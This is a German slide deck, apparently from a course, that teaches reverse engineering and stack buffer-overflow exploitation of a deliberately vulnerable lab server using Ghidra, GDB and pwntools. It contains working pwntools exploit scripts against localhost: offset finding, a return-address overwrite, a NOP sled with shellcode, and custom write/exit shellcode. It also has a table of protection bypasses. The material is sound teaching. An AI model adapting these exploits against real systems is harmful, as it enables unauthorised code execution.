

- Reverse Engineering Binaries with RCE- - Debugging & Exploit Development -

Remote Code Execution (RCE)



- Ausführen eigenen Codes auf Zielsystem
- Kein physischer Zugriff / Keine Nutzerinteraktion notwendig
- **Einordnung:**
 - Arbitrary Code Execution (ACE) → Beliebige Code-Ausführung (Local / Remote)
 - Remote Code Execution (RCE): → Unterart von ACE, ausschließlich über Netzwerkschnittstelle

Angriffstyp	Schwachstellen	Vorgehen	Schutzmaßnahmen
Injection	Ungeprüfte Eingaben	Direkt Einbindung in Befehle / Queries	Input-Validation Prepared Statements
Deserialization	Unsichere Verarbeitung serialisierter Objekte	Payloads aktivieren vorhandene Klassen-Hooks	Whitelist statt Blacklist Safe-Deserialization Libraries
Memory Corruption	Buffer Overflow, Keine Bounds Checks	Überschreiben von Rücksprungadressen	Compiler Protections Sichere API-Aufrufe (strncpy, snprintf)

Reverse Engineering (RE)




- **Allgemein: Rückführung eines Produkts in zugrunde liegende Struktur & Funktion:**
 - Analyse von Binary-Dateien, Hardware-Komponenten
 - Rekonstruktion ohne Original Source Code oder Spezifikation
- **Software-Fokus: Rückführung Kompilats in verständlichere höhere Repräsentation**
- **Schwierigkeit des Maschinencodes:**
 - Abstrahiert & Schwer lesbar
 - Optimierte durch Compiler
 - Abhängig von Plattform & Instruction Set Architecture (ISA)



Reverse Engineering (RE) - Motivation



Entwickler-Perspektive



Abandonware



Malware-Analyse



Malicious Actor

Neugier und Lernzwecke!

Lernziele




1. **Binary Struktur Linux ELF**
2. **Umgang mit RE Tools zur Binary-Analyse**
 - Decompiling mit Ghidra
 - Debugging mit GDB
3. **Exploit-Entwicklung mit pwntools**
 - `cyclic_find()`, `secret()`
 - Shellcode Injection
4. **Schutzmaßnahmen von Binaries**
 - NX, Stack Canaries, PIE, RELRO, ASLR
 - Binary Stripping





(De-) Compilation - Source <-> Binary



Compilation:



Decompilation




Linux ELF – Executable & Linkable Format



`.symtab` = Symbolnamen

Stripped Binary = Generische Namen: `FUN_00123abc`




- `e_ident[16]`: **0x7f ELF** Magic Number
- `e_class`: Architekturklasse (32/64 Bit)
- `e_machine`: z.B: Intel 80386
- `e_phoff, e_shoff`: Offset zu PHT & SHT
- `e_entry`: Virtual address entry point

Segmente mit Speicherrechten (RWX)
Für Laden & Ausführen

Auszuführender Programmcode
Gemappt mit Speicherrechten: RX

Read-Only Daten (z.B. Format Strings)
Gemappt mit Speicherrechten: R

Section-Metadaten:
Von Linker & Tools verwendet



Beispiel – vuln_server (_noprot)




```
$ readelf -lw vuln_noprot

Elf file type is EXEC (Executable file)
Entry point 0x8049130
There are 12 program headers, starting at offset 52

Program Headers:
  Type           Offset             VirtAddr           PhysAddr          FileSiz            MemSiz             Flg              Align
  PHDR            0x000034            0x08048034          0x08048034          0x00180            0x00180            R               0x4
  INTERP          0x0001d8            0x080481d8          0x080481d8          0x00013            0x00013            R               0x1
    [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD            0x000000            0x08048000          0x08048000          0x004cc            0x004cc            R E             0x1000
  LOAD            0x001000            0x08049000          0x08049000          0x00614            0x00614            R E             0x1000
  LOAD            0x002000            0x0804a000          0x0804a000          0x002f8            0x002f8            R               0x1000
  LOAD            0x002f00            0x0804bf00          0x0804bf00          0x00148            0x0014c            RW              0x1000
  DYNAMIC          0x002f08            0x0804bf08          0x0804bf08          0x000e8            0x000e8            RW               0x4
  NOTE            0x0001b4            0x080481b4          0x080481b4          0x00024            0x00024            R               0x4
  NOTE            0x0022d8            0x0804a2d8          0x0804a2d8          0x00020            0x00020            R               0x4
  GNU_EH_FRAME     0x0020d4            0x0804a0d4          0x0804a0d4          0x00064            0x00064            R               0x4
  GNU_STACK        0x000000            0x00000000          0x00000000          0x00000            0x00000            RWE             0x10
  GNU_RELRO        0x002f00            0x0804bf00          0x0804bf00          0x00100            0x00100            R               0x1

Section to Segment mapping:
Segment Sections...
 00
 01 .interp
 02 .note.gnu.build-id .interp .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt
 03 .init .plt .text .fini
 04 .rodata .eh_frame_hdr .eh_frame .note.ABI-tag
 05 .init_array .fini_array .dynamic .got .got.plt .data .bss
 06 .dynamic
 07 .note.gnu.build-id
 08 .note.ABI-tag
 09 .eh_frame_hdr
 10
 11 .init_array .fini_array .dynamic .got
```


Reverse Engineering (RE) - Overview



Reverse Engineering (RE) - Overview




```
kali@kali: ~/Projects/reverse-rce-lab/examples/vuln_server/binaries
File Actions Edit View Help


(kali@kali)-[~/~/reverse-rce-lab/examples/vuln_server/binaries]
$ file vuln_noprot
vuln_noprot: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0613d206bd86d75e54ff052d552d6e78f5ecec99, for GNU/Linux 3.2.0, not stripped

(kali@kali)-[~/~/reverse-rce-lab/examples/vuln_server/binaries]
$ checksec vuln_noprot
[*] '/home/kali/Projects/reverse-rce-lab/examples/vuln_server/binaries/vuln_noprot'
Arch:           i386-32-little
RELRO:          Partial RELRO
Stack:          No canary found
NX:             NX unknown - GNU_STACK missing
PIE:            No PIE (0x8048000)
Stack:          Executable
RWX:            Has RWX segments
Stripped:       No
```

Erste Input-Tests



Static Analysis – Ghidra (Overview)



Static Analysis – Ghidra (Navigating)



The screenshot displays the Ghidra static analysis tool interface. The top menu bar includes File, Edit, Analysis, Graph, Navigation, Search, Select, Tools, Window, and Help. The left sidebar shows the Program Tree and Symbol Tree. The main window is divided into three panes: Listing, Disassembly, and Decompiler.

Program Tree: Shows the loaded program 'vuln_noprot' with various sections like .bss, .data, .got.plt, .got, .dynamic, .fini_array, .init_array, and .note.ABI-tag.

Symbol Tree: Shows the loaded program 'vuln_noprot' with various symbols like __do_global_ctors_aux, __i686.get_pc_thunk.bx, __x86.get_pc_thunk.ax, _dl_relocate_static_pie, _fini, _init, _start, authenticate_client, deregister_tm_clones, frame_dummy, FUN_08049020, generate_password, get_password_input, handle_client, main, read_username, register_tm_clones, and secret.

Listing: Shows the listing of the 'secret' function (7 addresses selected). The listing includes the function name, address, and assembly instructions.

Disassembly: Shows the disassembly of the 'secret' function. The instructions are as follows:

```
08049246 55      PUSH     EBP
08049247 89 e5    MOV      EBP, ESP
08049249 53      PUSH     EBX
0804924a 83 ec 04 SUB      ESP, 0x4
0804924d e8 aa 03 CALL     __x86.get_pc_thunk.ax
00 00
08049252 05 a2 2d ADD      EAX, 0x2da2
00 00
08049257 83 ec 0c SUB      ESP, 0xc
0804925a 8d 90 14 LEA      EDX, [EAX + 0xffffe014] => s_You've_reached_the_s... = "You've reached the se
e0 ff ff
08049260 52      PUSH     EDX => s_You've_reached_the_secret_functi_0804a008 = "You've reached the se
08049261 89 c3    MOV      EBX, EAX
08049263 e8 38 fe CALL     <EXTERNAL>::puts
ff ff
08049268 83 c4 10 ADD      ESP, 0x10
0804926b 90      NOP
0804926c 8b 5d fc MOV      EBX, dword ptr [EBP + local_8]
0804926f c9      LEAVE
08049270 c3      RET
```

Decompiler: Shows the decompiled code for the 'secret' function. The code is as follows:

```
1
2 /* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax
3
4 void secret(void)
5
6 {
7     puts("You've reached the secret function!");
8     return;
9 }
10
```

Console - Scripting: Shows the console output for the scripting engine.

Dynamic Analysis – GDB (Cyclic Payload)



1. Server Start

```
Using host libthread_db library "/lib64/libthread_db.so.1".
Listening on port 4444...
DEBUG: pw input @ 0xffffc6f0
```

2. Send Payload (cyclic_load())

```
from pwn import *

context.update(arch='i386', os='linux')
r = remote('127.0.0.1', 4444)

r.recvuntil(b"Username: ")
r.sendline(b"bob")

r.recvuntil(b"Password: ")
payload = cyclic(100, n=4)
r.send(payload)

r.close()
```

4. Find offset (cyclic_find())

```
>>> from pwn import *
>>> cyclic_find(p32(0x61616174), n=4)
76
>>> █
```

3. Segmentation Fault -> Analyze Stack

(gdb) x/20xw \$esp

0xffffc6e0:	0x00000004	0xffffc6f0	0x00000080	0x08049372
0xffffc6f0:	0x61616161	0x61616162	0x61616163	0x61616164
0xffffc700:	0x61616165	0x61616166	0x61616167	0x61616168
0xffffc710:	0x61616169	0x6161616a	0x6161616b	0x6161616c
0xffffc720:	0x6161616d	0x6161616e	0x6161616f	0x61616170

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
(gdb) info register

eax	0x0
ecx	0xffffc6f0
edx	0xa
ebx	0x61616172
esp	0xffffc740
ebp	0x61616173
esi	0x804bf04
edi	0xf7ffcb60
eip	0x61616174
eflags	0x10286
cs	0x23
ss	0x2b
ds	0x2b
es	0x2b
fs	0x0
gs	0x63

(gdb) x/20xw \$esp

0xffffc740:	0x61616175	0x61616176	0x61616177	0x61616178
0xffffc750:	0x61616179	0x0804bf04	0xf7ffcb60	0x000000de

Lower Address

Unused memory

Buffer [64]

EBX [4]
Extended Base Index (General purpose register)

EBP [4]
Stack Base Pointer

EIP [4]
Return Address

Rest of the stack

Higher Address

Dynamic Analysis – GDB (Redirecting Flow)



Server

```
Listening on port 4444...
DEBUG: pw input @ 0xffffc6f0
You've reached the secret function!
Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()
(gdb) □
```

Payload

```
from pwn import *

context.update(arch='i386', os='linux')
r = remote('127.0.0.1', 4444)

r.recvuntil(b"Username: ")
r.sendline(b"bob")

r.recvuntil(b>Password: ")

offset = 76
secret_addr = p32(0x08049246)
payload = b"A" * offset + secret_addr

r.send(payload)

r.close()
```

Listing: vuln_noprot - (1 address selected)

-- Flow Override: CALL_RETURN (CALL_TERMINATOR)

* FUNCTION *

undefined secret()
⚠️<UNASSIGNED> <RETURN>
Stack[-0x8]:4 local_8
secret XREF[1]: 0804926c(R)
XREF[3]: Entry Point(*), 0804a0f8, 0804a1bc(*)

08049246 55 PUSH EBP

08049247 89 e5 MOV EBP,ESP

08049249 53 PUSH EBX

0804924a 83 ec 04 SUB ESP,0x4

0804924d e8 aa 03 CALL __x86.get_pc_thunk.ax

08049252 05 a2 2d ADD EAX,0x2da2

08049257 83 ec 0c SUB ESP,0xc

0804925a 8d 90 14 LEA EDI,[EAX + 0xffffe014]=>s_You've_reached_the_s...

08049260 52 PUSH EDI=>s_You've_reached_the_secret_functioni_0804a008 = "You've reached the secre

08049261 89 c3 MOV EBX,EAX

08049263 e8 38 fe CALL <EXTERNAL>::puts

08049268 83 c4 10 ADD ESP,0x10

0804926b 90 NOP

0804926c 8b 5d fc MOV EBX,dword ptr [EBP + local_8]

0804926f c9 LEAVE

08049270 c3 RET

Decompile: secret - (vuln_noprot)

1
2 /* WARNING: Function: __x86.get_pc_thunk.ax repl
3
4 void secret(void)
5
6 {
7 puts("You've reached the secret function!");
8 return;
9 }
10

Dynamic Analysis – GDB (SIGTRAP)



Payload

```
from pwn import *

context.update(arch='i386', os='linux')
r = remote('127.0.0.1', 4444)

r.recvuntil(b"Username: ")
r.sendline(b"bob")

r.recvuntil(b"Password: ")

offset = 76

shellcode = b"\xcc" * 10 # SIGTRAP INT 3 (breakpoint)
nop_sled = b"\x90" * (offset - len(shellcode)) # NOP = No Operation
pre_eip = nop_sled + shellcode # [NOP SLED][SHELLCODE][PADDING]

ret_add = p32(0xffffc6f0) # GDB: 0xffffc790 Non-GDB: 0xffffc810
payload = pre_eip + ret_add

r.send(payload)
r.close()
```

Shellcode

NOP address

Server

```
(gdb) break get_password_input
Breakpoint 3 at 0x804936a
(gdb) continue
Continuing.

Breakpoint 3, 0x804936a in get_password_input ()
(gdb) disas get_password_input
Dump of assembler code for function get_password_input:
0x08049366 <+0>: push %ebp
0x08049367 <+1>: mov %esp,%ebp
0x08049369 <+3>: push %ebx
=> 0x0804936a <+4>: sub $0x44,%esp
0x0804936d <+7>: call 0x8049180 <_x86.get_pc_thunk.bx>
0x08049372 <+12>: add $0x2c82,%ebx
0x08049378 <+18>: sub $0x4,%esp
0x0804937b <+21>: lea -0x48(%ebp),%eax
0x0804937e <+24>: push %eax
0x0804937f <+25>: lea -0x1fb2(%ebx),%eax
0x08049385 <+31>: push %eax
0x08049386 <+32>: push $0x1
0x08049388 <+34>: call 0x8049060 <dprintf@plt>
0x0804938d <+39>: add $0x10,%esp
0x08049390 <+42>: sub $0x4,%esp
0x08049393 <+45>: push $0x80
0x08049398 <+50>: lea -0x48(%ebp),%eax
0x0804939b <+53>: push %eax
0x0804939c <+54>: push 0x8(%ebp)
0x0804939f <+57>: call 0x8049050 <read@plt>
0x080493a4 <+62>: add $0x10,%esp
0x080493a7 <+65>: sub $0xc,%esp
0x080493aa <+68>: lea -0x48(%ebp),%eax
0x080493ad <+71>: push %eax
0x080493ae <+72>: call 0x8049100 <atoi@plt>
0x080493b3 <+77>: add $0x10,%esp
0x080493b6 <+80>: mov -0x4(%ebp),%ebx
0x080493b9 <+83>: leave
0x080493ba <+84>: ret
End of assembler dump.
(gdb) █
```


Dynamic Analysis – GDB (SIGTRAP)



Payload

```
from pwn import *

context.update(arch='i386', os='linux')
r = remote('127.0.0.1', 4444)

r.recvuntil(b"Username: ")
r.sendline(b"bob")

r.recvuntil(b"Password: ")

offset = 76

shellcode = b"\xcc" * 10 # SIGTRAP INT 3 (breakpoint)
nop_sled = b"\x90" * (offset - len(shellcode)) # NOP = No Operation
pre_eip = nop_sled + shellcode # [NOP SLED][SHELLCODE][PADDING]

ret_add = p32(0xffffc6f0) # GDB: 0xffffc790 Non-GDB: 0xffffc810
payload = pre_eip + ret_add

r.send(payload)
r.close()
```

Shellcode

NOP address

Server

```
Breakpoint 4 at 0x80493a4
(gdb) continue
Continuing.
DEBUG: pw_input @ 0xffffc6f0

Breakpoint 4, 0x080493a4 in get_password_input ()
(gdb) x/100xb $esp
0xffffc6e0: 0x04 0x00 0x00 0x00 0xf0 0xc6 0xff 0xff
0xffffc6e8: 0x80 0x00 0x00 0x00 0x72 0x93 0x04 0x08
0xffffc6f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffc730: 0x90 0x90 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xffffc738: 0xcc 0xcc 0xcc 0xcc 0xt0 0xc6 0xtt 0xtt
0xffffc740: 0x04 0x00 0x00 0x00
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffc733 in ?? ()
(gdb)
```

(Compiler) Protections



	Umsetzung	Wirkung	Möglicher Bypass
ASLR	Speicherbereiche werden zufällig angeordnet	Erschwert Adress-Vorhersage (Stack, Heap, Libraries)	Info Leak, NOP- Sled + Brute-Force
PIE	.text wird an zufällige Adresse geladen: ELF-Typ = ET_DYN	Macht Code-Abschnitte ASLR kompatibel	Info Leak + Berechnung von Basis-Adresse
NX	Stack darf nicht ausgeführt werden	Verhindert direkte Shellcode-Ausführung im Stack	Return Oriented Programming (ROP)
Stack-Canary	Zufälliger Schutzwert wird vor Return-Adresse eingefügt	Erkennung von Stack Overflows durch Wert-Prüfung	Canary Leak / Nachbauen, Overflow ohne Beschädigung der Canary
RELRO	Relocation Read-Only macht Global Offset Table (GOT-Einträge) schreibgeschützt	Verhindert GOT-Overwrite zur Umleitung von Funktionsaufrufen	Nur bei Partial RELRO



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Impossible(ish) CrackMe challenge	hmx78912	C/C++	x86-64	3.0	3.7	Windows	12:54 PM 06/20/2025	0	10
Basic	selim14092	C/C++	x86	1.0	4.0	Multiplatform	9:55 AM 06/19/2025	0	1
Simple anti-tamper 1.0 by Darkgate	Stingered	Borland Delphi	x86-64	2.0	4.0	Windows	2:01 PM 06/18/2025	1	5
Very easy	mirunaf	C/C++	x86-64	1.0	3.9	Multiplatform	4:38 PM 06/16/2025	4	3
A CrackMe by ByteClassic (on yt)	ByteClass...	C/C++	x86-64	1.0	2.2	Windows	3:40 PM 06/16/2025	1	4






Quellen

Primärquellen:

- [1] Linux Foundation, References Specifications: <https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html#elfid>
- [2] Ghidra P-Code: <https://riverloopsecurity.com/blog/2019/05/pcode/#:~:text=P,that%20work%20with%20assembly%20code>
- [3] Github, x0nu11byt3/elf_format_cheatsheet.md, <https://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779>
- [4] <https://book.hacktricks.wiki/de/binary-exploitation/common-binary-protections-and-bypasses/index.html>


Bilder:

- [1] Function Stack: <https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/>
- [2] Compilation Flow: <https://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779>



Vielen Dank für Ihre Aufmerksamkeit!
- Fragerunde -

Remote Code Execution (RCE) – Cyber Kill Chain



Static Analysis – Ghidra (Stripped)



The screenshot displays the Ghidra IDE interface for a stripped binary. The main window shows the decompiled code for the `secret` function, which is a `void` function. The code includes a warning about a function replacement and a `puts` statement. The assembly listing on the left shows the corresponding machine code instructions, including `PUSH EBP`, `MOV EBP, ESP`, `PUSH EBX`, `SUB ESP, 0x4`, `CALL __x86.get_pc_thunk.ax`, `ADD EAX, 0x2da2`, `SUB ESP, 0xc`, `LEA EDX, [EAX + 0xffff014] => s_You've_reached_`, `PUSH EDX => s_You've_reached_the_secret_functi_C`, `MOV EBX, EAX`, `CALL <EXTERNAL>::puts`, `ADD ESP, 0x10`, `NOP`, `MOV EBX, dword ptr [EBP + local_8]`, and `RET`.

The left sidebar shows the Program Tree and Symbol Tree. The Symbol Tree lists various functions, including `__do_global_dtors_aux`, `__i686.get_pc_thunk.bx`, `__x86.get_pc_thunk.ax`, `__x86.get_pc_thunk.bx`, `__dl_relocate_static_pie`, `__fini`, `__init`, `__start`, `authenticate_client`, `deregister_tm_clones`, `frame_dummy`, `FUN_00049020`, `generate_password`, `get_password_input`, `handle_client`, `main`, `read_username`, `register_tm_clones`, and `secret`. The `secret` function is selected, and its local variables are listed as `local_8`.


The bottom console shows the output of the decompilation process, including the warning about the function replacement.

Reverse Engineering (RE) - Motivation



Entwickler-Perspektive

- Compiler-Optimierungen
- Re-Dokumentation (Legacy)



Abandonware

- Portierungen/ Emulatoren
- Retro-Games



Malware-Analyse

- Kein Quellcode vorhanden
- Verständnis von Command & Control Mechanismen




Malicious Actor

- Exploit-Entwicklung
- Kopierschutz-Umgehung (DRM)
- Cheat-Entwicklung

Neugier und Lernzwecke!

Static Analysis – Ghidra (Start)



Dynamic Analysis - GDB



```
11 offset = 76
12 shellcode = asm('''
13     xor    eax, eax          /* clear eax (we'll use it for zero and syscall numbers) */
14     xor    ebx, ebx          /* clear ebx (we'll use it for exit code and later stdout fd) */
15     push   eax              /* push a 0 dword to serve as string terminator */
16
17     mov     dword ptr [esp], 0x6c6c6548 /* write "Hell" at [esp] */
18     mov     dword ptr [esp+4], 0x53202c6f /* write "o, S" at [esp+4] */
19     mov     dword ptr [esp+8], 0x6c6c6568 /* write "hell" at [esp+8] */
20     mov     byte ptr [esp+12], 0x21      /* write '!' at [esp+12] */
21
22     mov     ecx, esp          /* ecx = pointer to our string */
23     mov     edx, 13           /* edx = length of "Hello, Shell!" */
24     mov     ebx, 1            /* ebx = file descriptor 1 (stdout) */
25     mov     al, 4             /* al = syscall number 4 (sys_write) */
26     int     0x80              /* invoke kernel: write(1, esp, 13) */
27
28     xor     ebx, ebx          /* ebx = 0 (exit code) */
29     mov     al, 1             /* al = syscall number 1 (sys_exit) */
30     int     0x80              /* invoke kernel: exit(0) */
31 ''')
32
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
.venv └─(.venv)─(kali@kali)─[~/Projects/reverse-rce-lab]
└─$ ./examples/vuln_server/binaries/vuln_noprot
Listening on port 4444...
DEBUG: pw input @ 0xffffc750
Hello, Shell!
```